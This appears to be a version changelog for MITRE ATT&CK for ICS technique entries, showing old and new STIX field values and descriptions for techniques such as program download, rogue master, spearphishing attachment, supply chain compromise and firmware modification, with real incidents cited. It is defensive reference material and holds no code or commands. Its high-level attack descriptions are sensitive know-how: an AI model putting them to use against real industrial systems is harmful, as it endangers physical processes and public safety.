|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may perform a program download to load malicious or unintended program logic on a device as a method of persistence or to disrupt response functions or process control. Program download onto devices, such as PLCs, allows adversaries to implement custom logic. Malicious PLC programs may be used to disrupt physical processes or enable adversary persistence. The act of a program download will cause the PLC to enter a STOP operation state, which may prevent response functions from operating correctly. | Adversaries may perform a program download to transfer a user program to a controller. ariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controller’s user program memory space. Modify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download. |
| kill_chain_phases[0]['phase_name'] | persistence-ics | lateral-movement-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T843 | https://collaborate.mitre.org/attackics/index.php/Technique/T0843 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Controller program | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'} | |
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'} | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-13 15:07:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T845 | https://collaborate.mitre.org/attackics/index.php/Technique/T0845 |
| x_mitre_data_sources[0] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Controller program | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T873 | https://collaborate.mitre.org/attackics/index.php/Technique/T0873 |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'} | |
| x_mitre_data_sources | Digital signatures | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Remote System Discovery is the process of identifying the pr | t | 1 | Adversaries may attempt to get a listing of other systems by |
| > | esence of hosts on a network (Citation: EAttack Remote Syste | > | IP address, hostname, or other logical identifier on a netw | ||
| > | m Discovery), and details about them. This process is commo | > | ork that may be used for subsequent Lateral Movement or Disc | ||
| > | n to network administrators validating the presence of machi | > | overy techniques. Functionality could exist within adversary | ||
| > | nes and services, as well as adversaries mapping out a netwo | > | tools to enable this, but utilities available on the operat | ||
| > | rk for future-attack targets. An adversary may attempt to g | > | ing system or vendor software could also be used.(Citation: | ||
| > | ain information about the target network via network enumera | > | EAttack Remote System Discovery) | ||
| > | tion techniques such as port scanning. One of the most popu | ||||
| > | lar tools for enumeration is [https://nmap.org/ Nmap]. Remo | ||||
| > | te System Discovery allows adversaries to map out hosts on t | ||||
| > | he network as well as the TCP/IP ports that are open, closed | ||||
| > | , or filtered. Remote System Discovery tools also aid in by | ||||
| > | attempting to connect to the service and determine its exac | ||||
| > | t version. The adversary may use this information to pick a | ||||
| > | n exploit for a particular version if a known vulnerability | ||||
| > | exists. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Remote System Discovery is the process of identifying the presence of hosts on a network (Citation: EAttack Remote System Discovery), and details about them. This process is common to network administrators validating the presence of machines and services, as well as adversaries mapping out a network for future-attack targets. An adversary may attempt to gain information about the target network via network enumeration techniques such as port scanning. One of the most popular tools for enumeration is [https://nmap.org/ Nmap]. Remote System Discovery allows adversaries to map out hosts on the network as well as the TCP/IP ports that are open, closed, or filtered. Remote System Discovery tools also aid in by attempting to connect to the service and determine its exact version. The adversary may use this information to pick an exploit for a particular version if a known vulnerability exists. | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used.(Citation: EAttack Remote System Discovery) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T846 | https://collaborate.mitre.org/attackics/index.php/Technique/T0846 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process use of network | File: File Access |
| x_mitre_data_sources[2] | Process command-line parameters | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Network protocol analysis | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T847 | https://collaborate.mitre.org/attackics/index.php/Technique/T0847 |
| x_mitre_data_sources[0] | File monitoring | Drive: Drive Creation |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may setup a rogue master to leverage control ser | t | 1 | Adversaries may setup a rogue master to leverage control ser |
| > | ver functions to communicate with slave devices. A rogue mas | > | ver functions to communicate with outstations. A rogue maste | ||
| > | ter device can be used to send legitimate control messages t | > | r can be used to send legitimate control messages to other c | ||
| > | o other control system devices, affecting processes in unint | > | ontrol system devices, affecting processes in unintended way | ||
| > | ended ways. It may also be used to disrupt network communica | > | s. It may also be used to disrupt network communications by | ||
| > | tions by capturing and receiving the network traffic meant f | > | capturing and receiving the network traffic meant for the ac | ||
| > | or the actual master device. Impersonating a master device m | > | tual master. Impersonating a master may also allow an advers | ||
| > | ay also allow an adversary to avoid detection. In the Maro | > | ary to avoid detection. In the Maroochy Attack, Vitek Boden | ||
| > | ochy Attack, Vitek Boden falsified network addresses in orde | > | falsified network addresses in order to send false data and | ||
| > | r to send false data and instructions to pumping stations. ( | > | instructions to pumping stations. In the case of the 2017 Da | ||
| > | Citation: Maroochy - MITRE - 200808) Detection: Collect fil | > | llas Siren incident, adversaries used a rogue master to send | ||
| > | e hashes; file names that do not match their expected hash a | > | command messages to the 156 distributed sirens across the c | ||
| > | re suspect. Perform file monitoring; files with known names | > | ity, either through a single rogue transmitter with a strong | ||
| > | but in unusual locations are suspect. Likewise, files that a | > | signal, or using many distributed repeaters. | ||
| > | re modified outside of an update or patch are suspect. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| name | Rogue Master Device | Rogue Master |
| description | Adversaries may setup a rogue master to leverage control server functions to communicate with slave devices. A rogue master device can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master device. Impersonating a master device may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. (Citation: Maroochy - MITRE - 200808) Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. | Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters. |
| kill_chain_phases[0]['phase_name'] | evasion-ics | initial-access-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T848 | https://collaborate.mitre.org/attackics/index.php/Technique/T0848 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Asset management | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process/Event Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'} | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T851 | https://collaborate.mitre.org/attackics/index.php/Technique/T0851 |
| x_mitre_data_sources[0] | Controller program | Drive: Drive Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Firmware: Firmware Modification | |
| x_mitre_data_sources | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T852 | https://collaborate.mitre.org/attackics/index.php/Technique/T0852 |
| x_mitre_data_sources[0] | API monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T853 | https://collaborate.mitre.org/attackics/index.php/Technique/T0853 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Module: Module Load |
| x_mitre_data_sources[2] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| kill_chain_phases[0]['phase_name'] | impair-process-control | inhibit-response-function |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T881 | https://collaborate.mitre.org/attackics/index.php/Technique/T0881 |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Windows Registry | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Termination | |
| x_mitre_data_sources | Service: Service Metadata | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a spearphishing attachment, a variant of | t | 1 | Adversaries may use a spearphishing attachment, a variant of |
| > | spearphishing, as a form of a social engineering attack aga | > | spearphishing, as a form of a social engineering attack aga | ||
| > | inst specific targets. Spearphishing attachments are differe | > | inst specific targets. Spearphishing attachments are differe | ||
| > | nt from other forms of spearphishing in that they employ mal | > | nt from other forms of spearphishing in that they employ mal | ||
| > | ware attached to an email. All forms of spearphishing are el | > | ware attached to an email. All forms of spearphishing are el | ||
| > | ectronically delivered and target a specific individual, com | > | ectronically delivered and target a specific individual, com | ||
| > | pany, or industry. In this scenario, adversaries attach a fi | > | pany, or industry. In this scenario, adversaries attach a fi | ||
| > | le to the spearphishing email and usually rely upon User Exe | > | le to the spearphishing email and usually rely upon User Exe | ||
| > | cution to gain execution and access. (Citation: EAttack Spea | > | cution to gain execution and access. (Citation: EAttack Spea | ||
| > | rphishing Attachment) | > | rphishing Attachment) A Chinese spearphishing campaign runni | ||
| > | ng from December 9, 2011 through February 29, 2012, targeted | ||||
| > | ONG organizations and their employees. The emails were cons | ||||
| > | tructed with a high level of sophistication to convince empl | ||||
| > | oyees to open the malicious file attachments.(Citation: CISA | ||||
| > | Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) | Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T865 | https://collaborate.mitre.org/attackics/index.php/Technique/T0865 |
| x_mitre_data_sources[0] | File monitoring | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T856 | https://collaborate.mitre.org/attackics/index.php/Technique/T0856 |
| x_mitre_data_sources[0] | Alarm History | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network protocol analysis | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T869 | https://collaborate.mitre.org/attackics/index.php/Technique/T0869 |
| x_mitre_data_sources[0] | Process use of network | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Malware reverse engineering | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform supply chain compromise to gain cont | t | 1 | Adversaries may perform supply chain compromise to gain cont |
| > | rol systems environment access by means of infected products | > | rol systems environment access by means of infected products | ||
| > | , software, and workflows. Supply chain compromise is the ma | > | , software, and workflows. Supply chain compromise is the ma | ||
| > | nipulation of products, such as devices or software, or thei | > | nipulation of products, such as devices or software, or thei | ||
| > | r delivery mechanisms before receipt by the end consumer. Ad | > | r delivery mechanisms before receipt by the end consumer. Ad | ||
| > | versary compromise of these products and mechanisms is done | > | versary compromise of these products and mechanisms is done | ||
| > | for the goal of data or system compromise, once infected pro | > | for the goal of data or system compromise, once infected pro | ||
| > | ducts are introduced to the target environment. Supply cha | > | ducts are introduced to the target environment. Supply cha | ||
| > | in compromise can occur at all stages of the supply chain, f | > | in compromise can occur at all stages of the supply chain, f | ||
| > | rom manipulation of development tools and environments to ma | > | rom manipulation of development tools and environments to ma | ||
| > | nipulation of developed products and tools distribution mech | > | nipulation of developed products and tools distribution mech | ||
| > | anisms. This may involve the compromise and replacement of l | > | anisms. This may involve the compromise and replacement of l | ||
| > | egitimate software and patches, such as on third party or ve | > | egitimate software and patches, such as on third party or ve | ||
| > | ndor websites. Targeting of supply chain compromise can be d | > | ndor websites. Targeting of supply chain compromise can be d | ||
| > | one in attempts to infiltrate the environments of a specific | > | one in attempts to infiltrate the environments of a specific | ||
| > | audience. In control systems environments with assets in bo | > | audience. In control systems environments with assets in bo | ||
| > | th the IT and OT networks, it is possible a supply chain com | > | th the IT and OT networks, it is possible a supply chain com | ||
| > | promise affecting the IT environment could enable further ac | > | promise affecting the IT environment could enable further ac | ||
| > | cess to the OT environment. F-Secure Labs analyzed the app | > | cess to the OT environment. Counterfeit devices may be intro | ||
| > | roach the adversary used to compromise victim systems with H | > | duced to the global supply chain posing safety and cyber ris | ||
| > | avex. (Citation: (Citation: Havex - F-Secure) - 201406) The | > | ks to asset owners and operators. These devices may not meet | ||
| > | adversary planted trojanized software installers available | > | the safety, engineering and manufacturing requirements of r | ||
| > | on legitimate ICS/SCADA vendor websites. After being downloa | > | egulatory bodies but may feature tagging indicating conforma | ||
| > | ded, this software infected the host computer with a Remote | > | nce with industry standards. Due to the lack of adherence to | ||
| > | Access Trojan (RAT). | > | standards and overall lesser quality, the counterfeit produ | ||
| > | cts may pose a serious safety and operational risk. Yokogawa | ||||
| > | identified instances in which their customers received coun | ||||
| > | terfeit differential pressure transmitters using the Yokogaw | ||||
| > | a logo. The counterfeit transmitters were nearly indistingui | ||||
| > | shable with a semblance of functionality and interface that | ||||
| > | mimics the genuine product. F-Secure Labs analyzed the appr | ||||
| > | oach the adversary used to compromise victim systems with Ha | ||||
| > | vex. (Citation: (Citation: Havex - F-Secure) - 201406) The | ||||
| > | adversary planted trojanized software installers available o | ||||
| > | n legitimate ICS/SCADA vendor websites. After being download | ||||
| > | ed, this software infected the host computer with a Remote A | ||||
| > | ccess Trojan (RAT). | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Web proxy', 'File monitoring', 'Detonation chamber', 'Digital signatures'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-11 16:22:12.527000+00:00 |
| description | Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT). | Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT). |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T862 | https://collaborate.mitre.org/attackics/index.php/Technique/T0862 |
| external_references[1]['source_name'] | Havex - F-Secure - 201406 | Control Global Yokogawa May 2019 |
| external_references[1]['description'] | F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019. | Control Global. (2019, May 29). Yokogawa announcement warns of counterfeit transmitters. Retrieved April 9, 2021. |
| external_references[1]['url'] | https://www.f-secure.com/weblog/archives/00002718.html | https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/ |
| external_references[2]['source_name'] | Havex - F-Secure | Havex - F-Secure - 201406 |
| external_references[2]['description'] | Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019. | F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019. |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Havex - F-Secure', 'description': 'Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'} | |
| x_mitre_platforms | Data Historian | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Human-Machine Interface | |
| x_mitre_platforms | Input/Output Server | |
| x_mitre_platforms | Safety Instrumented System/Protection Relay |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | System firmware on modern assets is often designed with an u | t | 1 | System firmware on modern assets is often designed with an u |
| > | pdate feature. Older device firmware may be factory installe | > | pdate feature. Older device firmware may be factory installe | ||
| > | d and require special reprograming equipment. When available | > | d and require special reprograming equipment. When available | ||
| > | , the firmware update feature enables vendors to remotely pa | > | , the firmware update feature enables vendors to remotely pa | ||
| > | tch bugs and perform upgrades. Device firmware updates are o | > | tch bugs and perform upgrades. Device firmware updates are o | ||
| > | ften delegated to the user and may be done using a software | > | ften delegated to the user and may be done using a software | ||
| > | update package. It may also be possible to perform this task | > | update package. It may also be possible to perform this task | ||
| > | over the network. An adversary may exploit the firmware up | > | over the network. An adversary may exploit the firmware upd | ||
| > | date feature on accessible devices to upload malicious or ou | > | ate feature on accessible devices to upload malicious or out | ||
| > | t-of-date firmware. Malicious modification of device firmwar | > | -of-date firmware. Malicious modification of device firmware | ||
| > | e may provide an adversary with root access to a device, giv | > | may provide an adversary with root access to a device, give | ||
| > | en firmware is one of the lowest programming abstraction lay | > | n firmware is one of the lowest programming abstraction laye | ||
| > | ers. (Citation: Research - Firmware Modification) In the 20 | > | rs.(Citation: Research - Firmware Modification) | ||
| > | 15 attack on the Ukranian power grid, the adversaries gained | ||||
| > | access to the control networks of three different energy co | ||||
| > | mpanies. The adversaries developed malicious firmware for th | ||||
| > | e serial-to-ethernet devices which rendered them inoperable | ||||
| > | and severed connections between the control center and the s | ||||
| > | ubstation. (Citation: Ukraine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. (Citation: Research - Firmware Modification) In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries developed malicious firmware for the serial-to-ethernet devices which rendered them inoperable and severed connections between the control center and the substation. (Citation: Ukraine15 - EISAC - 201603) | System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers.(Citation: Research - Firmware Modification) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T857 | https://collaborate.mitre.org/attackics/index.php/Technique/T0857 |
| x_mitre_data_sources[0] | Alarm history | Firmware: Firmware Modification |
| x_mitre_data_sources[1] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-11 16:22:12.527000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T882 | https://collaborate.mitre.org/attackics/index.php/Technique/T0882 |
| x_mitre_platforms[0] | Windows | None |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send unauthorized command messages to instru | t | 1 | Adversaries may send unauthorized command messages to instru |
| > | ct control systems devices to perform actions outside their | > | ct control system assets to perform actions outside of their | ||
| > | expected functionality for process control. Command messages | > | intended functionality, or without the logical precondition | ||
| > | are used in ICS networks to give direct instructions to con | > | s to trigger their expected function. Command messages are u | ||
| > | trol systems devices. If an adversary can send an unauthoriz | > | sed in ICS networks to give direct instructions to control s | ||
| > | ed command message to a control system, then it can instruct | > | ystems devices. If an adversary can send an unauthorized com | ||
| > | the control systems device to perform an action outside the | > | mand message to a control system, then it can instruct the c | ||
| > | normal bounds of the device's actions. An adversary could p | > | ontrol systems device to perform an action outside the norma | ||
| > | otentially instruct a control systems device to perform an a | > | l bounds of the device's actions. An adversary could potenti | ||
| > | ction that will cause an Impact. (Citation: Research - Resea | > | ally instruct a control systems device to perform an action | ||
| > | rch - Taxonomy Cyber Attacks on SCADA) In the Maroochy Atta | > | that will cause an Impact. (Citation: Research - Research - | ||
| > | ck, the adversary used a dedicated analog two-way radio syst | > | Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the | ||
| > | em to send false data and instructions to pumping stations a | > | adversary used a dedicated analog two-way radio system to s | ||
| > | nd the central computer. (Citation: Maroochy - MITRE - 20080 | > | end false data and instructions to pumping stations and the | ||
| > | 8) In the 2015 attack on the Ukranian power grid, the adver | > | central computer. (Citation: Maroochy - MITRE - 200808) In t | ||
| > | saries gained access to the control networks of three differ | > | he Dallas Siren incident, adversaries were able to send comm | ||
| > | ent energy companies. The adversaries used valid credentials | > | and messages to activate tornado alarm systems across the ci | ||
